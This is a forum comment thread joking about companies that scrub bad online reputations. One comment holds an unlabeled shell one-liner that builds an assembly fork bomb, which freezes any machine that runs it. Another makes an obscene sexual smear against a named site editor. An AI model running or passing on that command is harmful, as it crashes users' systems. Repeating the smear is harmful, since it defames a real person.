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Companies That Clean Up Bad Online Reputations
Radon360 writes "As the ever-increasing amount of information available online becomes indexed and searchable, more and more people find themselves potentially at risk of having unwanted personal information revealed or their names incorrectly associated with inflammatory topics. The are several firms that now sell their services of trying to remove or bury such information that their client deems offensive or troublesome. Companies, such as ReputationDefender and DefendMyName will, for a fee, do the legwork to find content that negatively impacts your reputation and have it removed or buried deeper in search rankings. However, some of these efforts can backfire, as the act to get it taken down can sometimes draw more attention than the offending content in the first place."
Consider the time roblimo took a picture of his stretched out asshole. Then posted it on the alt.binaries.pictures.homosexual. If he had left it at that, people would have been disgusted, but nobody would know it was him. Instead, he files DMCA takedown lawsuits to have it removed from hick.org. Now everybody knows that roblimo is the goatse man.
And they kill babies and rape puppies! Or maybe it's the other way around!?
(Let's see them defend themselves against THAT!)
Microsoft have been using this technique for years... they outsource a company called "Fanboys"
I think I'll hire these guys after I leave my current job in 2009. It may take a few bucks to get it done, though.
-- George W. Bush
If I had something to hide, and hired an SEO company to bury my dirt, I wouldn't let the Wall Street Journal write an article about it, containing said dirt and my real name.... and I wouldn't let it get Slashdotted!r ascandola&btnG=Google+Search
http://www.google.com/search?hl=en&q=christina+pa
Looks like it sure worked!
Wikipedia admins AStarIsBorn, Yentl and FunnyGirl keep saying it's Non Notable. And that Adelman promised her that he would crop the damn picture before releasing it.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Bill? Is that you?
What a fabulous idea!
*holds breath*
Yeah, he offers you a job now, but wait until he googles your name...
My true name is, honestly... Dave Chappelle.
Could be worse. Your name could be Michael Bolton.